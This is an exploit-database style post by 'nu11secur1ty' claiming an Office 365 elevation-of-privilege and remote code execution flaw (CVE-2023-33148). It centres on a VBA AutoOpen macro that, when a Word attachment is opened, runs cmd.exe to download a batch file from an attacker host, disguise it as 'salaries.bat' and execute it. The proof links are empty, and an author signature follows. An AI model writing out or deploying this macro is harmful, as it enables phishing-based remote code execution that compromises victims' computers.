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## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege Vulnerability + RCE.
## Author: nu11secur1ty
## Date: 07.18.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148
## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious WORD file in the Outlook app which is a part of Microsoft Office 365 and easily can trick the victim to click on it - opening it and executing a very dangerous shell command, in the background of the local PC. This execution is without downloading this malicious file, and this is a potential problem and a very dangerous case! This can be the end of the victim's PC, it depends on the scenario.
## Staus: HIGH Vulnerability
[+]Exploit:
- Exploit Server:
```vb
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat && .\salaries.bat", vbNormalFocus)
End Sub
```
## Reproduce:
[href]()
## Proof and Exploit
[href]()
## Time spend:
00:35:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>